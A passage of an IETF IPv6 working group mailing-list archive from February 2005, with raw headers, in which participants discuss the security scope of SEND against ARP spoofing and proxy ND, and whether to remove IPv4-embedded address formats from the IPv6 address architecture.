4.33) id 1Cw5bd-0005VZ-0s for ipv6@ietf.org; Tue, 01 Feb 2005 16:30:41 -0500 Received: from kolumbus.fi (p130.piuha.net [193.234.218.130]) by p130.piuha.net (Postfix) with ESMTP id 1216589883; Tue, 1 Feb 2005 23:11:14 +0200 (EET) Message-ID: <41FFF02E.8010707@kolumbus.fi> Date: Tue, 01 Feb 2005 23:10:06 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7b) Gecko/20040316 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christian Huitema References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d6aff76b15f3f56fcb94490e1052e4 Content-Transfer-Encoding: 7bit Cc: Erik Nordmark , IPv6 Subject: Re: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 769a46790fb42fbb0b0cc700c82f7081 Content-Transfer-Encoding: 7bit Christian Huitema wrote: > SEND secures the mapping between an IPv6 address and a MAC address, but > it does nothing to guarantee that the L2 topology actually delivers the > packets to the intended destination. When we expand all that energy > signing neighbor discovery packets, have we really improved security? SEND is just one part of the overall puzzle, not the sole answer to all problems. And solutions usually are unable to prevent all problems. In particular, whatever you do, its hard for endpoints to ensure that their packets are not stopped, redirected, modified, or looked at en route. One thing you can do is to ensure that the packets are protected so that these attacks, if performed, would not have an impact beyond denial-of-service. That's why we have protocols such as TLS or IPsec*. Another thing you can do is to ensure that such attacks are harder to launch or at least that they can not be launched from anywhere. This is where SEND helps. Basically, SEND prevents the use of L3 control protocols to hijack sessions. Of course, a router or learning bridge that legitimately gets the traffic could still send it to someone else or to the trashcan. But it would be great if we could at least prevent outsiders, such as people that plug into an Ethernet port at an office, from doing this. But an attack below layer 3 will still get you into trouble. This includes things like wireless attacks, e.g., an open wireless LAN or spoofing your L2 address to a switch that looks at source MACs. Various methods exist to deal with these issues, starting from a switch locking into to a MAC address upon first usage on a port ("Learn and Lock" on some equipment). See also Section 9.1 in the SEND protocol document. --Jari *) Earlier, we even considered doing per-packet cryptographic protection based on SEND. This would be your zero-config .1X variant. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 17:11:47 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA06603 for ; Tue, 1 Feb 2005 17:11:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6Xg-0001xx-1y for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 17:30:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw60u-0006WW-HU; Tue, 01 Feb 2005 16:56:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw5bf-0001rG-MH for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 16:30:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25676 for ; Tue, 1 Feb 2005 16:30:42 -0500 (EST) Received: from p130.piuha.net ([193.234.218.130]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw5tt-0007BQ-FT for ipv6@ietf.org; Tue, 01 Feb 2005 16:49:33 -0500 Received: from kolumbus.fi (p130.piuha.net [193.234.218.130]) by p130.piuha.net (Postfix) with ESMTP id AD54A89883; Tue, 1 Feb 2005 23:30:11 +0200 (EET) Message-ID: <41FFF4A0.5080009@kolumbus.fi> Date: Tue, 01 Feb 2005 23:29:04 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7b) Gecko/20040316 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christian Huitema References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Content-Transfer-Encoding: 7bit Cc: Erik Nordmark , IPv6 Subject: Re: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Content-Transfer-Encoding: 7bit Christian Huitema wrote: >>The general case of proxy ND, which this specification uses, can not >>provide any security against MiTM because by definition the proxy is a >>MiTM. Thus it is completely unreasonably to assume that SeND will > solve this. > > What do you mean, unreasonable? It is certainly possible to write and > sign something like "I am a secure host, I am behind an proxy, and the > proxy address ix X:Y:Z". Obviously, that places requirement on SEND or > ND-Proxy. SEND would have to allow a new format, or ND-Proxy would have > to allow some explicit proxy discovery. But it is certainly neither > unreasonable nor impossible. First, I tend to agree with Erik that proxy ND document has some serious issues. Secondly, I'm sensing that part of this discussion is whether an interaction between features 1 and 2 should be solved in feature 1 or 2 spec. Of course, feature 1 folks will believe that spec 2 (and people behind spec 2) should solve it, and vice versa :-) But most of the time we seem to deal with this type of a problem in the in the IETF by adding stuff to the document that came later. Finally, generally speaking Christian is right about his solution. This could indeed be done. But there is also a question mark in the solution and I'm not sure exactly what assumptions it needs to have about the network topology and technology. The question is how a host knows that it should indeed be behind a proxy and that its not simply being attacked? Perhaps we could develop an answer to this question -- maybe we know it for sure in some network types and in others we could learn it in the SEND transition style. But its still different from Erik's home agent example, because in that example we know for sure that we have a home agent, and we even have a security association with it so we could use that when building some kind of a delegation scheme. --Jari -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 17:21:21 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA08413 for ; Tue, 1 Feb 2005 17:21:21 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6gt-0002Wb-3J for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 17:40:14 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw6K8-0003sK-4r; Tue, 01 Feb 2005 17:16:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw64I-0000Le-4p for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 17:00:18 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04286 for ; Tue, 1 Feb 2005 17:00:16 -0500 (EST) Received: from key1.docomolabs-usa.com ([216.98.102.225] helo=fridge.docomolabs-usa.com ident=fwuser) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw6MU-0001JO-AR for ipv6@ietf.org; Tue, 01 Feb 2005 17:19:09 -0500 Message-ID: <039c01c508a9$8b525090$016115ac@dcml.docomolabsusa.com> From: "James Kempf" To: "Christian Huitema" , "Erik Nordmark" , "Dave Thaler" References: Date: Tue, 1 Feb 2005 14:01:06 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 0fa76816851382eb71b0a882ccdc29ac Content-Transfer-Encoding: 7bit Cc: Thomas Narten , Margaret Wasserman , Brian Haberman , Brian E Carpenter , IPv6 Subject: Re: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 31247fb3be228bb596db9127becad0bc Content-Transfer-Encoding: 7bit >SEND secures the mapping between an IPv6 address and a MAC address, but >it does nothing to guarantee that the L2 topology actually delivers the >packets to the intended destination. When we expand all that energy >signing neighbor discovery packets, have we really improved security? Here's a concrete example of how the address mapping part of SEND would improve security* In 2002, I was sitting in the conference room at Mobicom browsing one of the papers when my 802.11/IPv4 network connection started to act up. It would go away, then come back, then hang for a long period of time. When I looked into the matter more deeply, I discovered that the DHCP lease on my address had been revoked, and my machine was attempting, unsuccessfully, to get another one. I spoke to the NOC about it, and found out that they had only allocated enough address space for 256 hosts, and there were well over 300 people in the room, many of whom were knowledgable networking researchers. Somebody was ARP spoofing, stealing addresses because not enough had been allocated. ARP spoofing is one of the threats SEND is designed to counter, so if IPv6/SEND had been deployed, this attack would not have been possible. Now, you can argue that SEND doesn't protect the MAC address itself (and in fact, specifically doesn't claim to), it just protects the mapping, so someone could still just send out frames with your MAC address. So it is still possible for an attacker to spoof a MAC address, for those shared media where a host specific MAC address appears on the air, like 802.11, and the address is not protected (and this is a particular problem for 802.11 because the management frames are completely unprotected). The spoofer cannot, however, claim frames holding packets having your IP address if SEND is used, because the mapping is protected. In the end, there is really only so much IETF can do, and now it is up to IEEE to fix their MAC protocol so that people can't steal addresses or spoof management frames (I'm told they are working on it). In this particular case, the service was free so the fact that I was inconvenienced by not being able to use the connection was of little economic consequence. But if I had been using a connection to a wireless service provider who charges for the service, the consequence may not have been as minor. In my view (speaking from a wireless service provider perspective), SEND is an excellent reason why a wireless service provider whose media has characteristics similar to 802.11 might want to deploy IPv6, provided of course that host support is available. The full list of threats SEND is designed to counter is outlined in the Security Considerations section of the SEND RFC and detailed in RFC 3756; note that these are the only threats SEND is designed to counter. In particular, as discussed in somewhat excruciating detail on this thread and explcitly mentioned in the SEND RFC, the address mapping part of SEND does not claim to protect proxy ND of any sort. I spoke to Dave Thaler about this a few IETFs ago, and I believed we agreed that it was OK for this draft, but I've not looked at the draft since. However, it seems pretty clear to me that there is considerable interest in security for proxy ND. The Mobopts IRTF research group is interested for securing fast handover, and it would also be useful for MIP6 though the MIP6 group is busy with other tasks at the moment so it has not hit their radar screen yet. We had a BAR BOF for Mobopts on proxy SEND in San Diego, but there hasn't really been much discussion about it on the Mobopts list. Considering the more leisurely pace work takes in IRTF, something might not pop out of Mobopts on proxy SEND for some time. So my suggestion is, if people think proxy SEND is a burning issue, instead of continuing to argue about this particular draft, maybe it would be more productive to have a BOF (if the WG chairs of the IPv6 group would rather not sponsor proxy ND security work in the IPv6 WG) or schedule a session at the IPv6 WG meeting (if the chairs would want to sponsor the work). I'd be happy to help organize the BOF if one is necessary. jak *Note that there is another part of SEND which people seem to forget, involving router security. That should work with NDProxy, learning bridges, and any other local subnet topology where a first hop router is involved and the host routes all off subnet traffic through the router. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 20:06:45 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA25537 for ; Tue, 1 Feb 2005 20:06:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw9H1-0006hN-Vb for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 20:25:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw8xy-0004Zy-Dc; Tue, 01 Feb 2005 20:05:58 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cw8wc-0004NS-HW for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 20:04:34 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA25400 for ; Tue, 1 Feb 2005 20:04:31 -0500 (EST) Received: from coconut.itojun.org ([221.249.121.227]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw9Em-0006eE-O7 for ipv6@ietf.org; Tue, 01 Feb 2005 20:23:26 -0500 Received: by coconut.itojun.org (Postfix, from userid 1001) id 01FC51C063; Wed, 2 Feb 2005 10:04:12 +0900 (JST) To: bob.hinden@nokia.com In-Reply-To: Your message of "Mon, 31 Jan 2005 04:48:36 -0800" <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> X-Mailer: Cue version 0.8 (050118-1752/itojun) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050202010412.01FC51C063@coconut.itojun.org> Date: Wed, 2 Feb 2005 10:04:12 +0900 (JST) From: itojun@itojun.org (Jun-ichiro itojun Hagino) X-Spam-Score: 0.1 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 > I am working on an update to the IPv6 address architecture. In doing this > I am working through the comments on the previous draft. One comment made > was to remove Section 2.5.5 "IPv6 Addresses with Embedded IPv4 Addresses" > from the document. This would include removing the special case in the > textual representation (section 2.2, 3.). > > I would like to solicit the working group's thoughts on this. I don't have > a strong opinion one way or another. It's not clear it has ever been that > useful and add a certain degree of complexity. On the other hand, it > appears in several places in the document and requires some careful > editing :-) > > Since I expect this is widely implemented, please be sure to report any > problem that might occur if this is to be removed from the > specification. This includes would it break other documents that refer to > the IPv6 address architecture specification. > > The plan is to submit the updated draft for Draft Standard. In general > removing things that are not found to be useful is OK when going to Draft > standard. I support the removal of section 2.5.5 and section 2.2(3). IPv4 compatible address is not used any more as auto tunnel went away. my position on IPv4 mapped address is described in the following documents: draft-cmetz-v6ops-v4mapped-api-harmful-01.txt draft-itojun-v6ops-v4mapped-harmful-02.txt itojun -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 21:32:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03361 for ; Tue, 1 Feb 2005 21:32:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwAcM-00009y-3V for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 21:51:46 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwAFZ-0005E0-H6; Tue, 01 Feb 2005 21:28:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwAEf-0004tT-NF for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 21:27:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02960 for ; Tue, 1 Feb 2005 21:27:13 -0500 (EST) Received: from mail.cis.nctu.edu.tw ([140.113.23.5]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwAWv-0008Ud-Jy for ipv6@ietf.org; Tue, 01 Feb 2005 21:46:10 -0500 Received: from localhost (localhost [127.0.0.1]) by mail.cis.nctu.edu.tw (8.12.10/8.12.9) with ESMTP id j122R1u9042253; Wed, 2 Feb 2005 10:27:01 +0800 (CST) (envelope-from ace@speed.cis.nctu.edu.tw) Received: from mail.cis.nctu.edu.tw ([127.0.0.1]) by localhost (mail.cis.nctu.edu.tw [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 35416-20; Wed, 2 Feb 2005 10:27:01 +0800 (CST) Received: from TW1190501 (61-219-64-135.HINET-IP.hinet.net [61.219.64.135]) (authenticated bits=0 as gis89514 with LOGIN) by mail.cis.nctu.edu.tw (8.12.10/8.12.9) with ESMTP id j122QxMe042244; Wed, 2 Feb 2005 10:26:59 +0800 (CST) (envelope-from ace@speed.cis.nctu.edu.tw) Message-Id: <200502020226.j122QxMe042244@mail.cis.nctu.edu.tw> From: "Alan Chang" To: "'sasson, shuki'" , "'Jeroen Massar'" , "'Markku Savela'" Date: Wed, 2 Feb 2005 10:26:58 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Thread-Index: AcUIc0RLPDC2T4MzQWmQOxZcJ6z+/wAWzvUg In-Reply-To: <759A0BEC1CF75A43B72C9E94ACB19BEC6B9356@srgriese-bkp.lss.emc.com> X-Virus-Scanned: by amavisd-new at cis.nctu.edu.tw X-Spam-Score: 0.0 (/) X-Scan-Signature: d185fa790257f526fedfd5d01ed9c976 Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org, "'Bob Hinden'" Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Content-Transfer-Encoding: 7bit Hi, I agree the removal. We are working for importing IPv6 to our embedded OS. At initial phase, we used v4-mapped address to upgrade server and everything worked fine. But when we needed more detail control, we failed to set IP layer socket option with AF_INET6 socket. So the modification of the listen(::) + listen(0.0.0.0) was needed finally. -Alan -----Original Message----- From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of sasson, shuki Sent: Tuesday, February 01, 2005 11:14 PM To: Jeroen Massar; Markku Savela Cc: Bob Hinden; ipv6@ietf.org Subject: RE: IPv6 Address Architecture update question Listening for both IPv4 and IPv6 connection is very useful for servers. Examples ftp server, SNMP agent. Servers usually don't care about the source address since they are responding to source no matter if this is an IPv4 address or IPv6 address. The existing interface allows them to do it with the same loop as for IPv4. Thus porting of servers becomes much easier. Connecting clients do need to know about the destination addresses. Still keeping the current interface for servers is a must! Shuki > > From: Jeroen Massar > > > Thus that applications should be using multiple sockets, one for > > IPv4 and one for IPv6 and one for whatever follows. > > I strongly object to this. There are other socket api's which don't > have the Unix inherited drawbacks. For such, the recommendation is > exactly the opposite: the same socket works just fine for IPv4 and > IPv6, and in unifying the application code to work for both, IPv4 > mapped address format is very useful tool. Any documentation on this ? I do know RFC3493, not any others. > There is no reason for application to care at all whether actual > connection is over IPv4 or IPv6. There is, these are different protocols, how else are you going to address which host you are going to connect to? For instance www.kame.net port 80 results in different answers over IPv6 than the one on IPv4... If you are talking about wrappers, then these are most likely wrapping around the above already anyway, thus it matter than? Greets, Jeroen -----Original Message----- From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On Behalf Of Jeroen Massar Sent: Tuesday, February 01, 2005 9:46 AM To: Markku Savela Cc: ipv6@ietf.org; Bob Hinden Subject: Re: IPv6 Address Architecture update question -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 22:13:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA12287 for ; Tue, 1 Feb 2005 22:13:32 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwBFl-000144-Nu for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 22:32:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwAwD-0005Qb-LC; Tue, 01 Feb 2005 22:12:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwAvS-0005Fb-Ig for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 22:11:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA10599 for ; Tue, 1 Feb 2005 22:11:26 -0500 (EST) Received: from mailout2.samsung.com ([203.254.224.25]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwBDe-0000zV-Ta for ipv6@ietf.org; Tue, 01 Feb 2005 22:30:23 -0500 Received: from custom-daemon.mailout2.samsung.com by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) id <0IB900409KU4W7@mailout2.samsung.com> for ipv6@ietf.org; Wed, 02 Feb 2005 12:10:52 +0900 (KST) Received: from ep_mmp1 (mailout2.samsung.com [203.254.224.25]) by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTP id <0IB900FGBKTZRB@mailout2.samsung.com> for ipv6@ietf.org; Wed, 02 Feb 2005 12:10:47 +0900 (KST) Received: from LocalHost ([168.219.198.109]) by mmp1.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTPA id <0IB900K2NKTYU3@mmp1.samsung.com> for ipv6@ietf.org; Wed, 02 Feb 2005 12:10:47 +0900 (KST) Date: Wed, 02 Feb 2005 12:12:53 +0900 From: Soohong Daniel Park In-reply-to: <9C422444DE99BC46B3AD3C6EAFC9711B084F9E00@tayexc13.americas.cpqcorp.net> To: "Bound, Jim" , Bob Hinden , IPv6 WG Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-Spam-Score: 0.0 (/) X-Scan-Signature: 2086112c730e13d5955355df27e3074b Content-Transfer-Encoding: 7BIT Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2beba50d0fcdeee5f091c59f204d4365 Content-Transfer-Encoding: 7BIT I agree with Jim's mention. It is already widely deployed and there is no dominant reason for removal althouth some considerable things happen as Itojun indicated, it is not very dangerous in my experience. Leave this address as it is. Thanks. Daniel (Soohong Daniel Park) Mobile Platform Lab. Samsung Electronics. > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org]On > Behalf Of Bound, Jim > Sent: Wednesday, February 02, 2005 2:23 AM > To: Bob Hinden; IPv6 WG > Subject: RE: IPv6 Address Architecture update question > > > Folks, > > I strongly agree with Bob Hinden. We have been down this path before > and discussion. IPv4-Mapped addresses are now used on every production > implementation and in most IPv6 production IP dual stacks. They cannot > be removed and the industry will not and does not support such a change. > The APIs are in use now also by Application Providers porting to IPv6. > There is absolutely no reason to deprecate Mapped-Addresses and such an > idea is totally unacceptable for all the reasons below and also we > should not alter our base specification. > > Regarding compatible addresses they are harmless but not being used by > most implementations or deployments, 6to4 is used. But I see not point > in deprecating that either. > > Regards, > /jim > > > -----Original Message----- > > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On > > Behalf Of Bob Hinden > > Sent: Tuesday, February 01, 2005 7:27 AM > > To: IPv6 WG > > Subject: Re: IPv6 Address Architecture update question > > > > Hi, > > > > In response to my question about keeping the "IPv6 Addresses > > with Embedded > > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: > > > > "I think that at least all the BSD's and most Linuxes are using this. > > They allow binding on :: (IPv6 any) and also accept IPv4 > > connections on the same socket, which are then represented in > > netstat etc as ::ffff:1.2.3.4.", "IMO the section can be > > removed and programmers need to be learned the correct thing > > for which I always very inclined to point people to Eva's > > excellent document at > > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or > > draft-ietf-v6ops-application-transition-02.txt" > > > > "They should not be removed. Implementations already support > > it, removing would just create confusion. I don't see any > > harm in keeping it in." > > > > "helps with porting applications" and "dropping this section > > will create confusion and chaos for the already ported applications" > > > > "Among other things, this would break the just published full > > Standard for URIs (RFC 3986).", "I suspect some people have used the > > ::10.1.2.3 format to carry IPv4 addresses in an IPv6 > > container, simply for convenience. I think this is very > > convenient and should be available.", " otoh the > > ::FFFF:10.1.2.3 format seems useless to me." > > > > "IPv4-mapped addresses facilitate an important > > interoperability mechanism in the socket API (RFC 3493, > > section 3.7).", "the API still needs a way to represent IPv4 > > addresses in a way that preserves compatibility between IPv6 > > and IPv4 hosts. Removal just makes transition all the more > > time-consuming and difficult for software developers. > > > > "rather see clarification of the use of embedded addresses in > > the document rather than complete removal. Ie. add a > > statement to the effect of 'Embedded addresses are intended > > for internal representation only'." > > > > "It is clear that the mapped addresses are widely used and > > useful, and a lot of people have raised their concerns about > > removing that.", "I suggest just simply removing compatibles." > > > > "Removal and formal deprecation would simplify life for > > software developers.", "We might as well rid developers of > > the burden of having to cope with mapped-address sockets as > > well.", "Anyway, in summary, removal would in my opinion > > actually make transition much easier for software developers, > > not harder. Don't let the superficial ease of the > > mapped-address API fool you :)" > > > > My take of this is that they should remain in the IPv6 > > address architecture. There is current usage and removing > > them would break other specifications. > > > > Thanks, > > Bob > > > > > > > > > > -------------------------------------------------------------------- > > IETF IPv6 working group mailing list > > ipv6@ietf.org > > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 23:18:17 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23555 for ; Tue, 1 Feb 2005 23:18:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwCGP-0002Ss-It for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 23:37:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwBwT-0004pD-Fg; Tue, 01 Feb 2005 23:16:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwBvV-0004e6-3P for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 23:15:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23329 for ; Tue, 1 Feb 2005 23:15:34 -0500 (EST) Received: from mailout2.samsung.com ([203.254.224.25]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwCDl-0002OZ-TE for ipv6@ietf.org; Tue, 01 Feb 2005 23:34:30 -0500 Received: from custom-daemon.mailout2.samsung.com by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) id <0IB900E01NT3F0@mailout2.samsung.com> for ipv6@ietf.org; Wed, 02 Feb 2005 13:15:03 +0900 (KST) Received: from ep_mmp2 (mailout2.samsung.com [203.254.224.25]) by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTP id <0IB900FCHNT2RB@mailout2.samsung.com> for 